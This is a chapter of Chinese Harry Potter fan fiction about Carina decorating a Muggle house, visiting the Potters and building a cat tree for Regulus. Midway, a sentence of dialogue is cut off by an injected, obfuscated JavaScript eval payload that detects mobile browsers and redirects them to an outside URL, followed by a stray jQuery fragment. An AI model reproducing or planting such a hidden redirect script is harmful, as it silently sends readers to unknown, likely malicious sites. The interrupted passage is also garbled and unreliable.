为了完成西里斯的愿望,跑到波特庄园去——卡莉娜拜托瑟西帮忙联系弗利蒙·波特,让他们在约定好的时间关闭飞路网屏蔽。
要不是西里斯这么大一个人跑出格里莫广场12号过分显眼,他看起来相当跃跃欲试——但他有一天会真的跑出去的,说不准还要开着她送给他的格兰芬多小车从大门口呼呼地离开,一路疾驰,再也不回来。
卡莉娜带上他的礼物和信件坐着飞天扫帚出发了。沃尔布加和奥赖恩对于她早上就拎着扫帚出门的行径非常习惯,因为她前半个假期一直在出门看房,后半个学期则忙着装修。
“还是不打算告诉我们房子买在哪里吗?”沃尔布加问。
“不,”卡莉娜说,“我要等我的事业获得成功后再告诉你们——这将是辉煌的一天——而不是你们走进我的房子,发现它里面连张凳子都没有。”
“你可以带上克利切。”奥赖恩说。
“我带上了魔杖。”卡莉娜说,“这就够了——克利切在格里莫广场有很多重要的事要做呢。”
她知道沃尔布加和奥赖恩不会专门去魔法部查她名下的飞路网,因为这种行径太繁琐——他们俩不屑于干这种事——但如果真的逼急了,倒也不排除他们会这么干。
至少最近是安全的。
她静悄悄地落在坡景街27号的后院,把扫帚靠在墙上。她花了几天的时间打扫这座小房子、给油漆调颜色并重新刷了墙。
发现隔壁搬来新邻居后,一名叫做多萝西·怀特的老太太专门拎着饼干来拜访她——她甚至没来得及施麻瓜驱逐咒。好在她的房子是这一排的最里端,只有多萝西一个邻居,这让她应对起来没那么困难——毕竟她上次做麻瓜也是十几年前的事。
吃下午茶的时候,她告诉多萝西自己是一个在苏格兰那边上高中的学生。她的表姨帮忙在这一带给她买了一套房子,而她的舅舅认为这是一个很好的机会,让她能够在假期里锻炼自己动手的能力。
“所以你每天早上走路半小时来给房子装修?”怀特太太问。她是一个独居的老太太,有一只猫和一只狗,儿女都在伦敦中心工作,只有周末会驱车回来看看她。
“是的。”卡莉娜给她展示自己刷得干干净净的浅米色墙和铺得很整齐的木地板,“我干得挺不错的。”
“噢,你的动手能力真不错!”怀特太太说,“但你有没有想过你的灯、窗帘该怎么安呢?”
“我忘记了……”卡莉娜拘谨地说,“怀特太太,您能不能给我推荐一些擅长做这些的工人呢?”
一来二去,她们就熟悉了。
怀特太太非常热心地监督她请来的工人们装修,并对卡莉娜的品味赞不绝口:“你的房子看起来温暖而且舒适……”
得知她今天要去同学家玩以后,怀特太太更是自告奋勇,要帮她盯着安装床和其他大型家具的人——这些都是她们俩在怀特太太珍藏的实惠好店里一起挑选的。
“人老了之后总是很无聊,”她这么说,“总算有些新鲜事可以做了……”
在怀特太太到达之前,卡莉娜用飞路粉把自己传送到波特庄园。被另一端的壁炉吐出来后,她掸了掸身上的炉灰,非常礼貌地和等在另一端的弗利蒙·波特握手,把自己带来的一些小礼物送给他。
“非常抱歉,我弟弟没能来。”卡莉娜说,“但他一定要我把他的一些东西带过来给詹姆。”
“什么,什么?”詹姆·波特骑着一柄小扫帚穿过洒满阳光的客厅,看起来非常兴高采烈,“西里斯要给我什么?”
“我对此一无所知,”卡莉娜诚实地说,“他神神秘秘的,说是你们的小秘密。”
弗利蒙波特饶有兴趣地看着他们俩交接物品,感到一种荒谬的好笑。
“再过几周就要开学了,”他说,“你们就连这两周也不能等吗?”
“是的,我们不能!”詹姆一只手抱着东西,坐着扫帚又飞走了。
“先生,你们这座房子非常不错——”卡莉娜说到一半,惊恐地发现自己完全陷入了房屋装修的魔爪。但这的确是一座漂亮的大房子,前后有着广阔的草地和花园,阳光透过巨大的窗户落在波特家的家谱上。
“哦,是的,”弗利蒙沿着她的目光看向墙壁,“我们也有一张家谱……哦,林弗雷德又在睡觉……”
这是一幅很有意思的家谱,甚至可以说波特家的祖先们把自己的画像直接做到了家谱上面。他们彼此交谈,沿着家谱上的线条爬到其他人的身边,只在原地留下一个名字框。
“很有趣吧?”弗利蒙说,“我年轻的时候经常和这些家伙们吵架……”
弗利蒙和尤菲米娅的年纪比博蒙-多雷夫妇还要稍大一些,这让卡莉娜对他们俩的同情上了一个档次——以这样的高龄,还要管理像詹姆这样活泼好动的孩子。詹姆已经拆了西里斯的包裹,卡莉娜能看到他骑着扫帚在外面飞来飞去,试用一双追球手的手套。
“他给我们家增添了很多活力……”尤菲米娅给她端来一个厨房新烤的馅饼,“我们曾经以为这辈子都不会拥有自己的孩子——”
尤菲米娅和詹姆一样的榛子色眼睛里透露出一种深深的感情,她的爱像阳光一样泼洒在这个夏天的早晨。
“我老得足够退休,于是把我们的公司卖掉——结果这孩子就来了。”弗利蒙说,“不过这也让我们多了很多时间来陪伴他——这种陪伴可能不会长久,所以我和米娅都非常珍惜这段时光——不过你看他,无忧无虑,根本没有意识到未来或者死亡的任何事。”
“我想不出他为什么要考虑这些沉重的事,”卡莉娜调侃道,“你们把他保护得很好。”
她没有在波特夫妇面前贬损詹姆的意图——这是一对和蔼可亲的老夫妇,要把自己最后的爱都给予自己的孩子——她不想在他们面前讨嫌。更何况詹姆确实本性不坏,只是因为过去的十几年从未遇到什么不顺心的事,自然地认为全世界都在围绕自己转动。
“或许把他保护得太好了,”弗利蒙嘟哝着说,“等到我们发现他是个快乐的小糊涂蛋的时候,就只能指望着学校能帮忙扭转一点这种倾向……”
尤菲米娅用眼睛剜了他一眼。
卡莉娜尴尬地微笑着。
她和弗利蒙的聊天自然地转向他的公司、他改良的药剂和一切与过去有关的内容。中午,他们一同分享了尤菲米娅的手艺,又共同度过一个愉快的下午——卡莉娜在波特家的书房里流连忘返。
“哦,我不能把这些带走,”卡莉娜说,“书籍是非常贵重的物品……而且我相信以后还会有来的日子……”
她对弗利蒙和尤菲米娅轻轻挥挥手,钻进了壁炉。
“坡景街27号!”她口齿清晰地喊道,被绿色的火焰吞没。
等她从自己家的壁炉里爬出来的时候,这座二层小楼里空无一人,但却多了许多家具。夕阳最后的余晖落在她精心挑选的地毯和沙发上,几个咖啡色的靠垫鼓鼓囊囊地扔在上面。
她情不自禁地走过这座小屋所有的房间,厨房里摆着冰箱、烤炉这些麻瓜的家用电器,浅木色的橱柜里塞着几个小锅。主卧里摆着一张低矮的大床,线条简洁的衣柜靠墙站着。衣柜里挂着几套她常穿的麻瓜衣服,怀特太太甚至细心地帮她熨了一下。在这间房子里,她短暂地忘记自己是一个巫师——只是作为一个普通的人、一个普通的麻瓜存在。她有点生疏地摆弄了一下厨房里的碗筷,决定明天也给怀特太太烤些甜品吃。
她咀嚼着这些普通人平常的幸福,忍不住愉快地微笑起来。
————
吃甜品的时候,卡莉娜告诉怀特太太自己接下来有一段时间不会再来了。
“要开学了,”卡莉娜说,“我们学校是寄宿制的,我得明年夏天才能回来。”
“怪不得你不打算打理花园,”怀特太太说,“还是让它光秃秃的。”
“我也不擅长这个,”卡莉娜承认道,“不过我姐姐很喜欢打理花园——或许你看过她发表的文章,笔名是简·格林。”
“那是你姐姐?”怀特太太兴致勃勃地说,“她最近在杂志上教我们如何培养名贵的花卉——”
看来安多米达的事业非常成功,怀特太太是她的忠实读者。卡莉娜把所有的家具都罩上防尘布,坐着飞天扫帚离开。他们明天要去对角巷,给雷古勒斯购买学习用品——如果家里有三个孩子,这套流程就会变得非常熟悉。
唯一的不同,可能是西里斯还被关在家里。卡莉娜拿着西里斯和雷古勒斯的书单,和克利切在丽痕书店的架子当中穿梭。
她顺便去魔法用品店考察协会的装修系列卖的怎么样——不如悬浮车火爆,但对于实用工具来说还算不错——巫师们总是自己动手建房子,但一套买下来就不会再买第二套。这些利润并不属于卡莉娜,而会打到他们协会的金库里——多卡斯每个月都要寄信给古灵阁查账。
“我们今年必须新招一个算账的,”多卡斯在单向片里和她说,“否则我会因为工作量太大罢工——你们这帮人就等着瞧吧。”
雷古勒斯在猫头鹰商店里纠结了半天,最后买下一只看起来就非常敏捷的黑猫。
“我想我可以借用你的波平斯,”雷古勒斯说,“这样就可以有一只不太一样的宠物。”
沃尔布加好像对他的选择有些意见,但只是动了几下嘴唇,没有多说——大概是因为无伤大雅。
街对面有一些熟悉的家伙们经过,但沃尔布加和奥赖恩并没有和任何人打招呼的意思,而是拽着他们俩回到格里莫广场长长的门厅,要他们提前预习,“好好迎接开学”。
但这并没有打击到雷古勒斯的兴奋,他一手提着猫篮子,一手给她展示他的魔杖——白蜡木和龙神经,11英寸,坚硬。
“一根强大的魔杖,”卡莉娜对他说,“而且会对你很忠诚。”
小猫从篮子里探出一个脑袋,雷古勒斯把它的脑门又按了回去。
“我不能让它在家里乱跑,”他有些苦恼地说,“家里有些东西非常危险,而且妈妈也不喜欢闹腾腾的东西——但我不能总把它关在笼子里。”
他用期待的眼神看着她,好像知道她总能找出一些解决办法。虽然卡莉娜觉得这只猫聪明得很,甚至有点贼溜溜的,但还是决定在雷古勒斯房间里装一个大型猫爬架——有什么不行的呢?
卡莉娜回房间拿了一根奥利凡德同款的卷尺,到雷古勒斯的房间帮他丈量剩余空间的尺寸。做巫师的好处是永远不用担心清洁的问题——这让猫爬架的设计变得更加简单:尽量往高了做就行。她被施了无痕伸展咒的箱子里还装着不少材料,接下来的几天,雷古勒斯都抱着猫,在她房间里帮忙打磨材料、修整零件。
“雷尔,”卡莉娜真诚地说,“到学校来做我的助理吧——我们协会本来不招一年级生的,但我可以破格录取你。”
“她的意思是让你去做苦工。”西里斯坐在旁边另一张小板凳上给木板打孔,做手工让两兄弟之间达成了短暂的共识,把过去的一些别扭都抛到脑后了。
雷古勒斯面前放着整整齐齐的小木头柱子,用迷惑的眼神看着他俩。
“什么叫做做苦工?”卡莉娜不满地说,“我们协会都是自愿加班的。”
“看到没有,”西里斯恐吓道,“这就是他们炼金协会的待遇——小雷尔,还是老老实实地读书吧。”
“自己不来,还要阻止
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472827|185562||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雷尔来。”卡莉娜无语地说,“这个学期你们又要干什么呢?”
“城堡还没探索完,”西里斯说起违反校规就神采奕奕,“而且我们打算再探禁林——在向你打报告的前提下。”
他在她的目光前退缩了,不甘不愿地加了一句话。
“禁林?”雷古勒斯第一次和哥哥姐姐坐下来一起聊霍格沃茨的事,迫不及待地想要知道更多。
“霍格沃茨一座生活着很多危险神奇生物的林子,”卡莉娜对雷古勒斯解释道,又转向西里斯,“如果你们的报告写得不错,我就把禁林的大概地图给你们——但只是不精细的草图,在路程和标绘上都是不准确的。”
“你哪里来的禁林地图?”西里斯狐疑的神经再次上线了。
“海格口述、我手绘的。”卡莉娜镇定地说,“在城堡面对费尔奇,在禁林面对海格——非常公平——但不要接近部分区域,是真的会死。”
“我们看起来有笨到这种程度吗?”西里斯怀疑地在镜子里打量着自己,一如既往的英俊帅气。
“只是以防万一。”卡莉娜说,“你们好奇心过剩的时候什么都能干得出来。”
“今年詹姆要去参加魁地奇球队,”西里斯耸耸肩,“我们在外头游荡的时间就变少了——”
“你们都是在宵禁以后出来的,球队也不在宵禁之后训练。”卡莉娜戳穿道,“而且我记得你飞得不错——为什么不和他一块去魁地奇球队选拔呢?。”
“我没有扫帚。”西里斯的脸冷淡下来,“这个假期我都没有出门——沃尔布加也不会给我买的——更别提给格兰芬多争光……”
“你可以用我的,”卡莉娜淡淡地说,“我买了横扫七星,够你去参加选拔——我平常都是坐它出门的。”
雷古勒斯竖起一只耳朵,他也是一个魁地奇狂热爱好者。
“不用担心,你二年级的时候一定会做追球手的——”卡莉娜摸了摸雷古勒斯的脑袋顶,“到时候我给你买光轮的最新系列——它飞得最快。”
西里斯发出抗议,“我的还是横扫!”
“我以为你要和詹姆一起去做追球手,”卡莉娜说,“七星也是横扫的最新系列!”
两兄弟好像都被她对扫帚和魁地奇的无知所震惊,刚想张开嘴说点什么,卡莉娜便举起一只手制止了他们:“停,你们明年自己去挑扫帚,我可以付钱。”
西里斯和雷古勒斯把嘴闭上了。
过了一会儿,西里斯又忍不住嘲笑道:“亏你们的产品还是飞天扫帚的竞争对手……”
卡莉娜下意识说:“不,我们根本走的是两条赛道……但确实可能逼着飞天扫帚朝赛级方向飞奔,或者改造得更加适合短途旅行——它一直是以轻便和高速取胜的……”
“所以你可以自己做扫帚?”雷古勒斯说。
“是啊……”卡莉娜说,“但我做的扫帚品控可能不太稳定,个人安全也得不到保障……还是用大品牌公司的比较保险……”
她一抬头,看见两个家伙都瞪着炯炯有神的眼睛看她。
“我不理解……”她嘟哝着说,“我已经给你们俩买了悬浮车了……”
“但它还没法带进学校。”西里斯指出。
“一年级也不能带飞天扫帚!”卡莉娜瞪着雷古勒斯。
雷古勒斯用可怜巴巴的表情看着她。
“不许用这招对付我,”卡莉娜底气不足地说,“这是我发明的办法……”
西里斯撇呀咧嘴半天也做不出这种表情,只能继续瞪着她看。
“好吧,”卡莉娜愤愤地拿起手里还没做完的小木箱,“你们赢了——今年我研究一下自制扫帚——”
两个人的表情都迅速恢复了正常,该干嘛干嘛去了。
卡莉娜内心感到些许愤怒,但她选择一句话都不说。
开学前,雷古勒斯的大型猫爬架做好了。
西里斯从卡莉娜的房间偷渡到雷古勒斯的房间,看着卡莉娜指挥一帮零件自己到墙上装好。最终的成品像一棵巨树,从雷古勒斯的床边往上长,一直蔓延到整个天花板。
“我现在感觉是不是有点太大了,”卡莉娜说,“可以现在掰下来几条——不过看这边这几排,还可以当书架用。”
“我感觉正好,”西里斯说,“而且有些部分可以做成翻转的……你知道,增加一些趣味性。”
“卡莉娜本来提出过,但我感觉猫不是很喜欢……”雷古勒斯说,“不过好像有些有趣的设计——卡莉娜说给我一个惊喜来着……”
他按了按侧边的一个按键,整棵猫爬架缩了回去,变成一个胖墩墩的树桩。
“这样就可以当凳子用!”卡莉娜说,“而且也方便移动,不需要每次都反复拆卸……我还加装了一些其他的设计……比如树的温度是可以调整的——夏天变凉,冬天变温……”
小猫咪拍了拍那个树桩,对自己刚刚还很大的爬架去哪了表示非常疑惑。
西里斯扫了一眼雷古勒斯暴露出来的床头,发现那里原来贴着的黑魔王不见了。
他不动声色地把手搭上雷古勒斯的肩,勾住他的脖子。
“好小子。”他说。
雷古勒斯满头雾水地看了发神经的西里斯一眼,但没有把他的手甩掉。
卡莉娜把说明书解说到一半,不满地问:“喂,你们俩有人在听吗?”
雷古勒斯把说明书从卡莉娜手里默默地抽走,用诚挚的眼睛看着姐姐:“谢谢,我很喜欢。”
西里斯发出某种漏气的声音,好像是在笑。
卡莉娜看了看这个又看了看那个。
好吧,她心想,总感觉有什么不知道的好事在刚刚发生了。